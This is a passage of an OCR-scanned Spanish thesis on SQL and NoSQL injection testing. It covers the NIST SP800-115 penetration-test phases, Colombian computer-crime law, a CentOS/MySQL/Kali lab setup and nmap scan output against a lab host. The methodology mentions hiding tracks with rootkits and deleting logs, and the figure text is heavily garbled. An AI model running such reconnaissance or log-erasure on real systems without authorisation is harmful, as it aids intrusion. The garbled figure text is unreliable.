Andlisis pasivos.

Posibilidad de lanzar varios ataques a la vez.

Capacidad para utilizar certificados SSL dinamicos.

Soporte para utilizar tarjetas inteligentes (DNI-e, por ejemplo) y certificados
personales.

Andlisis de sistemas de autenticacion.

e Posibilidad de actualizar la herramienta automaticamente.

Dispone de una tienda de extensiones (plugins) con las que afadir mas

funcionalidades a la herramienta ([Velasco, Rubén. (2015) OWASP ZAP,

herramienta para auditar la seguridad de una pagina web. Disponible en:
https://www.redeszone.net/2015/04/25/seguridad-web-owasp-zap/).

4.2.13. NIST SP800-115 Technical Guide to Inf. Security Testing and Assessment.
El propésito de la guia técnica de pruebas de seguridad de la informacion y
evaluacion del Instituto Nacional de Normas y Tecnologia de Estados Unidos es
proporcionar directrices para las organizaciones sobre la planificacion y realizacion
de pruebas técnicas y evaluaciones de la seguridad de la informacion, el analisis de
los resultados y el desarrollo de estrategias de mitigacion. Proporciona
recomendaciones practicas para disefiar, implementar y mantener informacién
técnica relacionada con los procesos y procedimientos de pruebas y evaluacién de
seguridad, los cuales pueden ser utilizados para varios propositos tales como
encontrar vulnerabilidades en un sistema o red y verificar el cumplimiento de una
politica u otros requisitos. La guia no pretende presentar un programa exhaustivo
de pruebas o evaluacioén de la seguridad de la informacién, sino mas bien una visiéon
general de los elementos clave de las pruebas y evaluaciones técnicas de seguridad
con énfasis en técnicas especificas, sus beneficios y limitaciones vy
recomendaciones para su uso
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(http://nvipubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf)

El NIST 800-115 divide una prueba de penetracion en 4 fases: planificacion,
descubrimiento, ataque y reporte.

Figura 3. Fases de la Metodologia de la Prueba de Penetracion del NIST
SP 800115

Descubrimiento
adicional

v

\ 4

Descubrimiento

v

Planificacion Descubrimiento

A

\ 4

Descubrimiento

Fuente: NIST SP800-115

4.2.13.1. Fase de Planificacion. Consiste en determinar los objetivos y las reglas
de la prueba de penetracion, para enfocar el resultado lo mas provechoso para la
organizacion.

Las actividades en la elaboracién de un plan para la gestion y administracién del
proyecto son:

e Especificar las necesidades y requerimientos que deben cumplir la evaluacion de
la seguridad en la organizacion.

e Delimitar el alcance de las pruebas. Determinar los limites de la prueba en
términos de acciones y de los resultados esperados.

¢ Identificar los riesgos asociados a la realizacion de la prueba de penetracion, asi
como las técnicas y medidas de mitigacién que seran utilizados.

e Decidir el personal que hara parte del equipo en la prueba de penetracion, asi
como los responsables de los activos que seran probados. Se puede incluir los
datos de contacto de las personas si es necesario.
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e Programar las pruebas incluyendo las pruebas criticas y sus etapas.

¢ Identificar los lugares internos o externos autorizados para realizar las pruebas
de penetracion.

e Autorizar los niveles de acceso tanto de usuario como administrador a los
sistemas y/o red.

¢ Indicar la direccion IP desde donde se haran las pruebas de forma remota si es
necesario.

e Especificar el hardware y software que se utilizard para efectuar las pruebas.

e Establecer el procedimiento y la periodicidad para informar sobre los avances y
eventos ocurridos durante el desarrollo de la prueba de penetracion.

e Documentar las acciones a realizar en situaciones donde alguna de las pruebas
tenga un resultado negativo en la red o que un ataque se presente durante la
ejecucion de la prueba.

e Formalizar los sistemas y/o redes que se probardn y se excluirdn durante las
pruebas.

e Describir en detalle las actividades permitidas y no permitidas, incluyendo la
metodologia de la prueba de penetracion a utilizar.

e Si la prueba incluye actividades de ingenieria social, es necesario que sean
conocidas y aprobadas por el grupo directivo antes de ser aplicadas.

e Disponer el modo para la recoleccion, almacenamiento, transmision y destruccion
de los datos generados como resultado de las pruebas.

e Especificar los requisitos de la presentacion y el informe de los resultados en la
ejecucion y finalizacién de las pruebas.

Los pormenores de las pruebas, asi como cada una de las actividades a desarrollar
en la prueba deberdn documentarse formalmente con el fin de garantizar la
legalidad y beneficio mutuo entre las partes interesadas.
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4.2.13.2. Fase de descubrimiento. Esta fase se divide en dos partes: La primera
parte consiste en la recopilacion de informacion y la realizacion de escaneos; la
segunda parte consiste en realizar un analisis de vulnerabilidades.

A. Recopilacion de informacion

Es aconsejable conseguir informacion asociada con el nombre del host, la direccion
IP puede conseguirse con algunos métodos como por ejemplo preguntas al DNS,
realizar busquedas en InterNIC (WHOIS) y haciendo sniffing a la red.

A través de la busqueda en la pagina web de la organizacion o servidores de
directorio activo se puede obtener los nombres de los empleados o informacion para
contactarlos.

En algunas ocasiones, se puede utilizar técnicas como dumpster diving (busqueda
de informacion en la basura de la organizacién, zonas de reciclaje o reutilizacion de
papel) y/o con un simple recorrido por las areas de trabajo de los usuarios, con el
fin de detectar datos relevantes incluso se puede encontrar contrasefias escritas en
un papel.

Para la recoleccién de informacién se pueden tener en cuenta las siguientes
actividades:

e Descubrimiento en la red: la intencion es ver los equipos activos en la red. Existen
dos clases de escaneos: el escaneo pasivo que se basa en utilizar un sniffer de
red, para realizar el monitoreo de los equipos. Es aplicado de manera interna en
la organizacion y requiere de mas tiempo para su ejecucion. El escaneo activo
radica en enviar al blanco varios tipos de paquetes y dependiendo de la respuesta
del equipo al trafico generado, es posible determinar el tipo de sistema operativo.
Este escaneo requiere de menos tiempo para obtener datos, pero es mas
susceptible a ser detectado.

¢ |dentificacion de puertos y servicios de red: se utiliza un analizador de puertos,
con el fin de detectar los puertos abiertos de un equipo, asi es posible identificar
el tipo de sistema operativo, técnica llamada OS fingerprint. La version de la
aplicacion se puede obtener utilizando banner grabbing, capturando la
informacion transmitida por el banner cuando se inicia una conexion.

De acuerdo a lo anterior el objetivo es tener un listado de los equipos activos en la
red, asi como los puertos que tiene abiertos.
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B. Andlisis de Vulnerabilidades

Se fundamenta en la comparacion de los servicios, aplicaciones y sistemas
operativos de los hosts escaneados enfrentandolos con una base de datos de
vulnerabilidades.

Apoya a la identificacion de versiones obsoletas de software, parches no instalados,
configuraciones erradas y valida el cumplimiento de las politicas de seguridad de la
organizacion.

Con el conocimiento de las vulnerabilidades de los sistemas de la organizacion, es
posible concretar la estrategia para realizar la prueba de penetracion a los equipos
de la red.

4.2.13.3. Fase de Ataque. Una vez se tienen identificadas las vulnerabilidades, el
pentester o equipo de pruebas trata de comprender mas sobre la estructura y
comportamiento de la red con el fin de explotar las vulnerabilidades establecidas.
Algunos exploits admiten elevar privilegios en el sistema o en la red para acceder
recursos adicionales. Es recomendable moverse por el sistema en busqueda de
mas informacion, esto permitird efectuar un descubrimiento adicional en busca de
mas vulnerabilidades.

Si es posible explotar una vulnerabilidad, se puede utilizar mas herramientas en el
sistema para obtener informacién y/o accesos adicionales, con el fin de observar
hasta donde un atacante puede acceder. Después de tener un acceso es importante
cubrir las huellas utilizando rootkits y eliminando logs que hayan registrado la
actividad realizada.

Se puede categorizar las vulnerabilidades explotadas de la siguiente manera:

Errores de configuracion.

Errores del kernel.

Caodigo expuesto a ataques de Buffer Overflows.

Debilidades en la validacién de posibles entradas en una aplicacion.

Ataques de descriptor de archivos.

Privilegios accedidos. Es posible aprovechar los privilegios superiores durante el
tiempo que un programa o proceso esta todavia en modo de ejecucion.

¢ Inadecuada asignacion de permisos a archivos y directorios.
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Cuando se finaliza la fase de ataque, es primordial eliminar los archivos creados y
desinstalar las herramientas utilizadas durante las pruebas, las vulnerabilidades
encontradas seran corregidas por parte de la organizacion a partir del reporte
generado.

4.2.13.4. Fase de Reporte. En esta fase se hace una descripcion de las
vulnerabilidades encontradas, se demuestra el procedimiento utilizado para su
explotacion y se entrega una guia de como mitigar las debilidades encontradas.

Es necesario precisar que los informes se deben diferenciar de acuerdo a las
personas a quienes va dirigido, se puede hacer un informe de tipo técnico donde se
incluya los resultados a nivel de detalle de las pruebas realizadas y otro de tipo
gerencial donde se muestran los hallazgos principales y las recomendaciones a
realizar por parte de la organizacion.

EI NIST recomienda utilizar para las pruebas como herramienta BackTrack que para
hoy en dia fue reemplazada por Kali Linux, adicionalmente hace mencion como
buena alternativa la metodologia de OSSTMM.

4.2.14. Aplicar las metodologias de ethical hacking.

Segun las metodologias identificadas es preciso mencionar que existen tres
mecanismos de evaluacion a saber:

e La auditoria de seguridad informética

Es un proceso formal orientado a medir aspectos de alto nivel de la infraestructura
de seguridad desde un enfoque organizacional. Por lo general, los auditores
delimitan el alcance y no incluyen detalles técnicos de bajo nivel como por ejemplo
fallas en protocolos de comunicacion. Sin embargo, pueden existir auditorias con
un mayor nivel de profundidad y alcance, con datos y recomendaciones técnicas
detalladas. El proceso de auditoria generalmente se lleva a cabo por auditores EDP
(Electronic Data Processing) certificados bajo las directrices de un comité, quién
reporta a las directivas de la organizacion o a un ente externo mandado por la ley
(KAPLAN, R. (1997) Penetration Testing: reward or ruin?. Computer Security
Journal. Vol. XIlI, No.1. pag.69-89).

e La evaluacion de seguridad: Orientada a determinar mayores detalles técnicos
de la seguridad de la infraestructura de una organizacion. Son menos formales y
tienden a ofrecer mayor detalle y alcance que las auditorias. Este proceso
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generalmente es llevado a cabo por un equipo de expertos en tecnologia con la
asistencia de un comité ad-hoc conformado por personal de la organizacion, mas
que por auditores certificados. La evaluacion es considerada un arte, en
comparacion con el enfoque estructurado que desarrollan los auditores. Al igual
gue las auditorias, las evaluaciones siempre estan limitadas en su alcance. Sin
embargo, tienden a ser lo suficientemente flexibles para abarcar detalles de bajo
nivel (KAPLAN, R. (1997) Penetration Testing: reward or ruin?. Computer
Security Journal. Vol. XIll, No.1. p4g.69-89).

e Las pruebas de penetracion (PEN TEST): Son las pruebas de seguridad en el
que las personas que los realizan imitan los ataques del mundo real en un intento
por identificar los métodos para eludir las medidas de seguridad de una
aplicacion, sistema o red. Las pruebas de intrusion a menudo implican la
realizacion de ataques a sistemas y datos, usando las mismas herramientas y
técnicas utilizadas por los atacantes (Scarfone, 2008).

Son pruebas de seguridad en la que especialistas explotan las vulnerabilidades
de un sistema informatico de forma controlada para evaluar los controles de
seguridad de dicho sistema. (EC-Council,2010).

Dependiendo de las necesidades de una organizacién es posible que se oriente
en uno o varios tipos de evaluacion, sin embargo, las tres practicas tienen como
objetivo primordial la seguridad informética y cada uno varia en alcance y
profundidad, en conclusién, se orientan a necesidades e inquietudes diferentes
pero complementarias.

Figura 4. Perspectivas de los métodos de evaluacion de seguridad informética

o -~
Y //’ "
',:ll:.:} _.-'/ ",
A ~ ., .
# -, f{- .
i S WE
s -~ s, o

/ . .
&~ BEvaluacion Pruebas de ™. Cg
&% : S Ve

| de Seguridad Penetracion ™. -ff’r,:,}.
- e
) %,

~ Auditoria de "

yd Seguridad ™\

Perspectiva del Negocio

Fuente: http://www.derechotecnologico.com/estrado/estrado003.html#4

36



4.3. MARCO LEGAL

Todo lo concerniente al manejo de informacion esté reglamentado por un conjunto
de leyes y normas que buscan que los todos los procedimientos que se planteen y
desarrollen dentro de las organizaciones se llevan a cabo dentro de un marco de
confidencialidad, integridad y disponibilidad de la informacion. A continuacién, se
citan algunos componentes legales.

4.3.1. LEY 1273 DE 2009. Norma por medio de la cual se modifica el codigo penal
agregando a este la reglamentacion para la proteccion de la informacién y los datos.

Se identifican los posibles delitos a los cuales los colombianos o extranjeros pueden
incurrir en la manipulacion indebida de la informacion.

Los articulos de esta ley que tienen relacién con el desarrollo del proyecto son los
siguientes.

Articulo 269A: Acceso abusivo a un sistema informatico. El que, sin autorizacion o
por fuera de lo acordado, acceda en todo o en parte a un sistema informético
protegido o no con una medida de seguridad, o se mantenga dentro del mismo en
contra de la voluntad de quien tenga el legitimo derecho a excluirlo, incurrira en
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1.000 salarios minimos legales mensuales vigentes.

Articulo 269C: Interceptacion de datos informaticos. El que, sin orden judicial previa
intercepte datos informaticos en su origen, destino o en el interior de un sistema
informatico, o las emisiones electromagnéticas provenientes de un sistema
informatico que los transporte incurrira en pena de prision de treinta y seis (36) a
setenta y dos (72) meses.

Articulo 269F: Violacién de datos personales. El que, sin estar facultado para ello,
con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca, venda,
intercambie, envie, compre, intercepte, divulgue, modifique o emplee cddigos
personales, datos personales contenidos en ficheros, archivos, bases de datos o
medios semejantes, incurrira en pena de prision de cuarenta y ocho (48) a noventa
y seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes.

Articulo 269G: Suplantacion de sitios web para capturar datos personales. El que
con obijeto ilicito y sin estar facultado para ello, disefie, desarrolle, trafique, venda,
ejecute, programe o envie paginas electrénicas, enlaces o ventanas emergentes,
incurrira en pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses y
en multa de 100 a 1.000 salarios minimos legales mensuales vigentes, siempre que
la conducta no constituya delito sancionado con pena mas grave.
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En la misma sancion incurrira el que modifique el sistema de resolucion de nombres
de dominio, de tal manera que haga entrar al usuario a una IP diferente en la
creencia de que acceda a su banco o a otro sitio personal o de confianza, siempre
que la conducta no constituya delito sancionado con pena mas grave.
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5. MARCO METODOLOGICO

5.1. METODOLOGIA DE INVESTIGACION

De acuerdo a los tipos de investigacién existentes y teniendo en cuenta que las
caracteristicas de los medios utilizados para obtener los datos del presente proyecto
se realizan a través de fuentes de informacion electronica la investigacion tiene un
enfoque de tipo descriptivo y cuantitativo.

5.2. METODOLOGIA DE DESARROLLO
Las fases a desarrollar segun la investigacion se relacionan a continuacion:

Investigadora: examina elementos de una base de conocimientos, compara
aspectos del conocimiento con otros ya conocidos, estableciendo relaciones entre
ambos.

Sistematizacion: andlisis reflexivo, critica de los elementos del conocimiento para
comprobar su validez.

Expositiva: exactitud y orden del conocimiento adquirido, generacion de ideas
relacionadas sacando utilidad con los productos de fuentes documentales y la
experiencia.

La investigacion tiene como objetivo el obtener informacion para conocer, recolectar
ideas o sugerencias, afinar una metodologia para complementar temas de estudio,
sin arribar a conclusiones definitivas o generales. Teniendo en cuenta estas tres
fases se desarrollaran las etapas que a continuacion se describen:

1) Eleccién y Delimitacién del Tema:

El campo de aplicacién es en el en el area de la Informatica, en Seguridad
Informatica especificamente en lo relacionado con los ataques a bases de datos
mediante inyeccion SQL en gestores conocidos como lo son MySql, Oracle, y
gestores NoSql como MongoDB y CouchDB.

2) Definicién del Tema y determinacion de Subtemas

Se dividira en sus posibles componentes, los factores que seran mas importantes
de conocer seran considerados como un subtema. Se buscara la definicion de cada
subtema relacionado con los motores de bases de datos MySql, Oracle, MongoDB
y CouchDB, la explotacion de vulnerabilidades y los posibles mecanismos de
proteccion.
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3) Seleccion de la Informacion
La seleccién o levantamiento de la informacion debe realizarse de acuerdo con los
subtemas objetos de estudio. Las fuentes de informacion mas comunes son:

e Material Bibliografico. materiales impresos como libros, publicaciones de revistas
cientificas, tesis y articulos que provean informacion sobre el tema o algun
subtema que se pretende estudiar.

e Material Hemerogréafico. Son las publicaciones periddicas que salen en un
determinado lapso de tiempo, sea diario, quincenal, mensual, trimestral o
semestral que contengan alguna informacion sobre el tema o algunos de los
subtemas a investigar.

e Material Videografico. Se contemplan los videos que pueden aportar datos al
tema que se pretende investigar.

e Material Iconogréfico. Es aquel que se expone en imagenes y pinturas que
proporcionen informacién sobre el objeto en estudio.

e Material de Internet. Es la informacion que se recupera de algun buscador o
banco de datos sobre el objeto de estudio.

4) Organizacion de la Informacién. En ocasiones no es necesario leer toda la obra
o material encontrado, Unicamente lo que haga referencia a cada uno de los
subtemas o aquellos aspectos que proporcionen la informacién mas relevante. Se
elaborara un resumen de los materiales a través de fichas bibliograficas donde se
describird el titulo de la obra o capitulo, el contenido del material estudiado y la
fuente de donde se obtuvo la informacion.

5) Entorno de Prueba. Paralelo a la organizacion de la informacion se adecuara un
entorno de prueba con el fin de realizar las diferentes pruebas sobre la inyeccién
SQL y NoSQL a las bases de datos objeto de estudio.

5.3. TECNICAS DE RECOLECCION DE DATOS

Se aplica la técnica de andlisis documental, entendido este como un conjunto de
operaciones encaminadas a representar un documento y su contenido bajo una
forma diferente de su forma original, con la finalidad posibilitar su recuperacion
posterior e identificarlo. La finalidad ultima del analisis documental es la
transformacioén de los documentos originales en otros secundarios, instrumentos de
trabajo, identificativos de los primeros y gracias a los cuales se hace posible tanto
la recuperacion de éstos como su difusion. 4

Otro factor que hace parte de estas técnicas, es el andlisis documental de recursos
en Internet, que permite dentro de la extensa gama de paginas web y de informacion
existente poder encontrar y explorar los contenidos que fortaleceran el proceso de

4 http://www.uv.es/macas/T5.pdf
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investigacion y el estudio de las metodologias existentes en la realizacion del
diagnostico de seguridad para las bases de datos.

En la norma UNE 50-113 Informacién y Documentacion — Vocabulario — Parte 32
Adquisicion, identificacion y analisis de documentos y datos, en el punto 3.3 incluye
conceptos referidos al Analisis Documental. De entre estos los siguientes términos
son algunos de los mas empleados.

Andlisis documental / Analysis / analyse : Operacién que consiste en examinar un
documento para encontrar sus elementos esenciales y las relaciones entre ellos.

Andlisis de contenido / content analsys / analyse du contenu : Analisis que tiene por
objeto facilitar los datos que caracterizan el contenido del documento de una forma
clara y concisa.

Indizacion / indexing / indexation : Operacion destinada a representar los resultados
del analisis del contenido de un documento o de una parte del mismo, mediante
elementos de un lenguaje documental o natural, generalmente para facilitar la
recuperacion.

Resumen / abstract / résumé : Representacion breve del contenido del documento,
sin interpretacion ni critica.

5.4. TECNICAS DE PROCESAMIENTO DE DATOS

Con respecto a esta técnica se ordenaron y clasificaron los datos de acuerdo al
analisis de contenido como parte de la hermenéutica bajo un enfoque descriptivo y
cuantitativo. Con el fin de comprender e integrar los elementos estudiados se acudio
a la hermenéutica que en griego quiere decir interpretacion.

5.5.POBLACION Y MUESTRA

El presente proyecto tiene como poblacion a cuatro motores de bases de datos que
incluyen caracteristicas de SQL y NOSQL. La muestra entonces como es una
poblacion finita y accesible se toma para la investigacion la totalidad de la poblacion
para el desarrollo de las tematicas de estudio.
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6. DESARROLLO DEL PROYECTO

6.1ENTORNO DE PRUEBA EN MYSQL.

En este primer entorno de prueba se utilizo sistema operativo Linux y el gestor de
bases de datos MySQL, también se utilizo MySQL Workbench que es una
herramienta que permite modelar diagramas de entidad-relacion para bases de
datos MySQL, puede usarse para disefiar el esquema de una base de datos nueva
o documentar una que ya existe. En la figura 7 se presenta el modelo entidad
relacion utilizado.
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Figura 7. Diagrama entidad — relacion

 idMaterial INT

 idCatzgoria INT  Material _nombre V ARCHAR (20)
< Categoria VARCHA... - < Tipo_material VARCHAR (20) ! Materiales_idMaterial INT
Indexes  Canfidad _actual INT <»Fecha_ingreso DATE

> Costo_unitario VARCHAR(45) L £ Cantidad_ingresa INT

 Categoria_idCateqoria INT P} idEspeciicadion INT Vdor_uniterio INT
& Unidad_medida VARCHAR..

 Especificacion_jdEspedficado...

i

L

 idIngresos INT

 idEgreso INT

! Materiales_jdMaterial INT

! Procesos_idProcesos INT

' Personal_idPersond _cedula VARC..

' idEquipos_serie VARCHAR(30) |
< IdEquipo VARCHAR(15) 5

' Equipos_idEquipos_serie VARCHA...
»Equipo_fecha ingreso DATETIME

< Proceso_fecha DATE e o
) Canfidad_materid INT Euipo_feha saida
Tnd & Contrato_idContrato INT
. % Producto_idTipo_producto INT
‘f
Indexes
m
! idPersonal_cedula VARCHAR(13) : _
{»Personal_nom bres VARCHAR(45) ! 1d usuarios INT
- < apelidos VARCHAR(20)
< Personal_apellidos VARCHAR(45)
5 Cargp VARGHAR(20) £ nombres VARCHAR(20)  idDevolucianes INT
 Telefono VARCHAR(30) oy 0L U0 VRCHR(L) ) Fecha_devalucon DATE
3 Direccion VARCHAR(0) ) nick_usuario VARCHAR(10) £ Ohservaciones VARCHAR(T0)
ireccion
ini  pass_dave VARCHAR(4S)  Equipas,idEquinos_serie VARCHAR(30)
»Fecha_nacimiento DATE
> Folb VARCHAR(45) < fecha_creado DATE
]
4 Personal_dPersond _cedula VARCHAR(13]
Indexes Tndexes

" Proveedores_idProveedores_Nit VARCHAR(15)

 idContratp INT
. Contrato_numero INT
§ Clientes_iddientes_Nit VARCHAR(15)

" idProveedores Nit VARCHAR(15)

»Proveedor_nombre VARCHAR(50)
> Razon_social VARCHAR(45)

4 Direcdon VARCHAR(45)

& Telefono VARCHAR(30)

> Fax VARCHAR(30)

»Pagina_web VARCHAR(30)

£ Email VARCHAR(30)

> Confacto VARCHAR(25)

> Telefono_contacto VARCHAR{45)
O Certificacion VARCHAR(?)

O Cartificacion? VARCHAR(2)

{ Certificacion3 VARCHAR(2)

@ Ciudad_idCudad INT

 idCientes_Nit VARCHAR(1S)

< Cliente_nombre VARCHAR(45)

< Direccion VARCHAR{45)

< Telefono VARCHAR(30)

£ Interventor VARCHAR(25)

< Telefono_interventor VARCHAR(45)
@ Cudad _idGudad INT

Fuente: el autor.




Para este este entorno de prueba se utilizo virtual box, el cual se descargo desde la
pagina https://www.virtualbox.org/wiki/Downloads como lo muestra la Fig. 8. pagina

de descarga virtual box.

Figura 8. P4agina de descarga virtual box

w letuale{

- Downlaad YirtualBox

VirluaBas hinarica
b dharcbaoriing, pra sgrem = o e e el oo rrep e 1em
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Fuente: https //WWW V|rtualbox org/wiki/Downloads

Se realiz6 la instalacion y se ejecutd el programa como lo indica la Fig. 9. Pantalla
inicial de Virtual Box se muestra la aplicacion de virtualizacion instalada.

Figura 9. Pantalla inicial de Virtual Box

| & Dracte Y VicksalBon Acrrerans 0dar -~ |
Ldeo Miguw dngia
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Fuente: El autor.

Se descarg6 la imagen ISO de la pagina http://centos.uniminuto.edu/6.8/isos/i386/
y se descargd CentOS-6.8-i386-minimal.iso de 354M. Al iniciar la instalacién se
selecciond la primera opcién, asi como se muestra en la Figura 10. Pantalla inicial
instalacion de Centos.



Figura 10. Pantalla inicial instalacion de Centos

MarhizCemas [Cormienda] - Oracle YM Vimaifiox - o IEN
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Fuente: El autor.

Terminada la instalacién se configura Centos para que pueda conectarse a Internet,
para eso se ingresa al archivo de configuracion de red y se habilita el modo
ONBOOT a yes como lo indica la figura 11 donde se establece este parametro.

Figura 11. Editar interface ethO.

7] MarblzContas [Comienae] - Drade W VirtualBa - "Il

Fuente: El autor.

Una vez se realiza la configuracion se reinicia el servicio de red. Luego se actualiza
el sistema con el comando yum upgrade como lo indica la figura 12 digitando el
anterior comando.
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Figura 12. Reinicio servicio de red y actualizacion

Maikirenies [Todriendal - Crad eV WimialRos = a “

Fuente: El autor.

Instalacion servicios Apache Php y MySQL. Para la configuracion de apache
requiere instalar http y luego iniciar el servicio.

En las siguientes imagenes se muestra la instalacion, inicio de servidor Apache y
configuracion inicio automatico. En la figura 13 se muestra la instalacion de apache.

Figura 13. Instalacion Servidor Apache

MartizCertas [Cornends] - Dracle W ViksalEo - "HEEN

apr-nki b ARHES Ho1.3.9-0.m1h .1
Wtipd-tocla. iGBe B:2.2.15-31.el&.cenlos

FIEL IS IR IO

Fuente El autor.

En la figura 14 se indica el comando para iniciar el servicio de servidor apache con
el comando service httpd start.
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Figura 14. Inicio de servidor Apache

MarbizCentos [Comriendo] - Oracle VM VirtualBox = =

Archiva Magquina Ver Entrada Dispositives  Ayuda
[rootBlocalhost “1# service httpd start
Iniciando httpd: httpd: apr_sockaddr_info_get() failed for localhost.MarbizCento|

ing 127.68.8.1 for ServerName

[root@localhost ~1# _

Fuente El autor.

En la figura 15 se indica como configurar el servicio de apache para que inicie de
manera automatica mediante el comando chkconfig —Ist httpp.

Figura 15. Configuracion automatica Apache

Bk Cardie: [Crniseabe] - Craehe WhA SicnPae - 0 “

Fuente El autor.

Se instal6 el gestor de bases de datos MYSQL version 5.1.73, con el usuario root
utilizando el comando # yum install mysqgl mysql-server. En la figura 16 se muestra
el proceso de instalacion del servidor después de aplicar el comando.

Figura 16. Instalacion servidor mysq|

Marbiztcmes Joonionde]  Oracie WM VinualBox T EN

Fuente El autor.

En la figura 17 se muestra el inicio del servicio de mysqgl mediante el comando de

mysqld start.
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Figura 17. Inicio servicio de mysqld

Mo zCemias [Comienda]  Oracke Vi Vinua oy

Fuente El autor.

- Configuraciéon de base de datos de prueba. Se realiza la conexién al esquema
de mysql mediante conexion desde equipo anfitrion con la opcién TCP/IP sobre
SSH como se muestra en la imagen 18 con los parametros de conexion.

Figura 18. Conexion a servidor Centos sobre SSH

Manage Servar Cormections
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Fuente: El autor

w | Miethas o use bo conned: bo e RDBME

55 server hasmare, mh
opborel port numbesr,

Bawez o e 524 wey Lo oawel wath,

a7 Lueer oaesvond o neoneet
W she 551 hmeel

Palbh bz S5H private key e

M merans ot re aits
0 sha 55 rener,

TCP0F part of [he Myad, senper,
Harw of the umer m coones: wih.

The MyE0L 5a:s paked,
W b e puessnd vk i ek st

The mdtwra o s o defaull schana
Liares bluedk o st L kilaa

Test Comneriion Choem

48



En la figura 19 se muestra la ejecucion del script generado con el modelo entidad
relacion desde el aplicativo MySQL Workbench.

Figura 19. Creacion de base de datos

e & Oodddll ke

“hrra Vs ® an Vo

Fuente: autor

En la figura 20 se muestra la base de datos de prueba creada desde la maquina
virtual con sistema operativo Centos.

Figura 20. Base de datos creada en Centos

(] MarbizCentos [Corriendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositives Ayuda

Database changed
ysql> show tables:

i Categoria

i Ciudad

i Clientes

i Contrato

i Devoluciones

i Equipos

i Especificacion

i Materiales

i Materiales_has_Equipos

i Materiales_has_Proveedores |
i Personal i
i Procesos

i Proveedores

i Tipo_Producto

i Usuarios

Fuente: El autor.
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Se crean usuarios y se ingresan datos a la base de datos. Se carga la pagina web
en servidor utilizando servicio de sftp de archivos mediante FileZilla como se
muestra en la figura 21.

Figura 21. Carga de pagina web en servidor Centos
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Fuente: El autor

En la figura 22 se muestra el acceso a la pagina web que interactia con la base de
datos creada digitando la direccién ip del servidor Centos..

Figura 22. Acceso a pagina web alojada en Centos

SICMEL
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Fuente: El autor.

6.1.1 Pruebas de escaneo y vulnerabilidad sobre MySQL. Una vez instalado y
configurado el servidor de Linux Centos y la base de datos en MySq|l se realiza la
instalacion en otra maquina virtual de Kali Linux, sistema que contiene un kit
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completo de herramientas para realizar las pruebas de escaneo y de inyeccion a la
base de datos.

Se prepard y se instald maquina virtual con Kali Linux en VMware como se indica
en la Figura 23 se selecciono e instalé modo grafico.

Figura 23. Parametros para maquina virtual Kali Linux

KALI

Stha qQUItS YO DComay tha rede vau are able to hear®

Fuente: El autor

En la figura 24 se muestra la verificacion de la IP de la maquina con Kali que este
dentro de la red para poder realizar el ejercicio con la maquina Centos.

Figura 24. Direccion IP Kali Linux

roce ol -

wx T Awde

Fuente: El autor
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Se realiza prueba de ping desde Kali hacia servidor Centos que es donde esta
configurada la base de datos como se muestra en la figura 25.

Figura 25. Ping a Centos desde Kali

reotPhak ~ el

Archyve [ehae Vor Buscar Tormdwd  Aywde

Fuente: El autor
6.1.1.1 ZENMAP sobre MYSQL

Se utilizé la herramienta Zenmap y se realiza escaneo de la maquina con el servidor
web con el fin de detectar puertos abiertos. La herramienta provee informacién
detallada, en la figura 26 se muestra el escaneo de 1000 puertos de los cuales 7
estan abiertos y 993 cerrados.
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Figura 26. Escaneo con Zenmap sobre MySQL

Zenmap o ® 8 |.
Scan Tools Profile Help
Target: [192.168.0.10 ¥  Profle; |Intense 5¢an ¥ Scan| |Lance

Gmnnmnd:.nmap T4 -A -v 192.168.0.10

[ Hosts || services |  Nmap Output]| Ports / Hosts  Topolagy Host Details Scans
0% | Hoet - |r1n'|ap -T4 -A -y 192.168.0,10 = |DEt,aiI5|

g 192.168.0.10 —
Starting Nmap 7.25BETALl ( https:/fnmap.org )} at ]
2017-04-18 22:28 COT

NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.

Initiating NSE at 22:21 !
Completed NSE at 22:21, ©.08s5 elapsed

Initiating NSE at 22:21

Completed NSE at 22:21, ©.88s elapsed
Initiating ARP Ping Scan at 22:21

Scanning 192.168.0.10 [1 port]

Completed ARP Ping 5can at 22:21, 0.92s elapsed
{1 total hosts)

Initiating Parallel DNS resolution of 1 host. at
22:21

Completed Parallel DN5 resolution of 1 host. at
22:21, 8.84s elapsed

Initiating SYN Stealth Scan at 22:21

scanning 192.168,0.10 [1080 ports]

m Discovered open port 1111/tcp on 192.168.0.18  * [

Discovered open port 88087tcp on 192.168.8.18
Completed 5YN Stealth Scan at 22:21, 2.29s

elapsed (1088 total ports)
Initiating Service scan at 22:21 |
Scanning 3 services on 192.168.8.10

Completed Service scan at 22:21, 11.21s elapsed
{3 services on 1 host)

Initiating 05 detection (try #1) against
192,.168.0.10

NSE: Script scanning 192.168.8.18.

Initiating NSE at 22:21

Completed NSE at 22:21, 11.97s elapsed
Initiating NSE at 22:21

Completed NSE at 22:21, 0.80s elapsed

Nmap scan report for 192.168.0.18

Host is up (B.8812s latency).

Mot shown: 997 closed ports

Fuente: autor

De igual forma como se muestra en la figura 27 Zenmap ofrece informacion valiosa
como es el nombre del servidor web en este caso apache, la version, el
empaquetador que fue instalado, la versién de PHP, los puertos que tienen el
servicio.
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Figura 27. Puertos y servicios escaneados con Zenmap sobre maquina con MySQL

Tenrrap -] ﬂl
Scan Tools Profile Help
[arget: [192.166.0.10 ¥ | Profile: |intense scan v |Scan | |Cani

Command: | nmap -Td -A -y 192 168.0.10

Hosts | Semvices Mmap Qutput | Ports f Hosts  Topology  Host Details | Scans

05  Host — nmap -T4 -4 -¢ 192.168,0.10 v Detals
fy 152168010 FORT STATE SERVICE VERSION =
1111/tcp open ssh Open55H 5.3 (protocol 2.0) L
ssh-hostkey: ]
1024
B@:9¢:db:b9:2f:cathb: 2T:ee: Th:37:21:d4:73:0b:e8
(DSA) L
2048 ]
ac:lc:30:64:40:13:62:65:606:d8:69:5d:17:71:55:7@
{RSA)
3306/tcp open mysql  MySOL {unauthorized) L
2000/ tcp open http Apache httpd 2.2.15 h
{ (Cent05)) 1
http-methods: !
Supported Methods: GET HEAD POST OPTIONS |
TRACE |
Potentially risky methods: TRACE
http-server-header: Apache/2.2.15 (CentO5)
http-title: Apache HTTP Server Test Page
powered by CentOS :
